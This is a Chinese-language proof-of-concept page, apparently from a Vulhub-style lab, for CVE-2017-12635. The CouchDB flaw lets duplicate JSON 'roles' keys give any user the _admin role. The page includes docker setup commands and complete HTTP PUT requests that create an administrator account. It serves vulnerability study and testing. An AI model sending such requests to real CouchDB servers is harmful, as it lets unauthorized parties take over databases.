POC详情: 2c88f488a16c198cf3a01887d9b9eb2fe7e90e7c

来源
关联漏洞
标题: Apache CouchDB 安全漏洞 (CVE-2017-12635)
描述:Apache CouchDB是美国阿帕奇(Apache)软件基金会的一个免费、开源、面向文档的数据库,是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。 Apache CouchDB 1.7.0之前的版本和2.1.1之前的2.x版本中存在安全漏洞,该漏洞源于基于rlang的JSON解析器和基于JavaScript的JSON解析器之间存在差异。攻击者可利用该漏洞访问任意的shell命令或获取管理员权限。
介绍
# Couchdb 垂直权限绕过漏洞(CVE-2017-12635)

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

影响版本:小于 1.7.0 以及 小于 2.1.1

参考链接:

 - http://bobao.360.cn/learning/detail/4716.html
 - https://justi.cz/security/2017/11/14/couchdb-rce-npm.html

## 测试环境

编译及启动环境:

```
docker-compose build
docker-compose up -d
```

环境启动后,访问`http://your-ip:5984/_utils/`即可看到一个web页面,说明Couchdb已成功启动。但我们不知道密码,无法登陆。

## 漏洞复现

首先,发送如下数据包:

```
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}
```

可见,返回403错误:`{"error":"forbidden","reason":"Only _admin may set roles"}`,只有管理员才能设置Role角色:

![](1.png)

发送包含两个roles的数据包,即可绕过限制:

```
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}
```

成功创建管理员,账户密码均为`vulhub`:

![](2.png)

再次访问`http://your-ip:5984/_utils/`,输入账户密码`vulhub`,可以成功登录:

![](3.png)
文件快照

[4.0K] /data/pocs/2c88f488a16c198cf3a01887d9b9eb2fe7e90e7c ├── [ 39K] 2.png ├── [ 30K] 3.png ├── [ 313] docker-compose.yml ├── [ 707] Dockerfile └── [2.2K] README.md 0 directories, 5 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。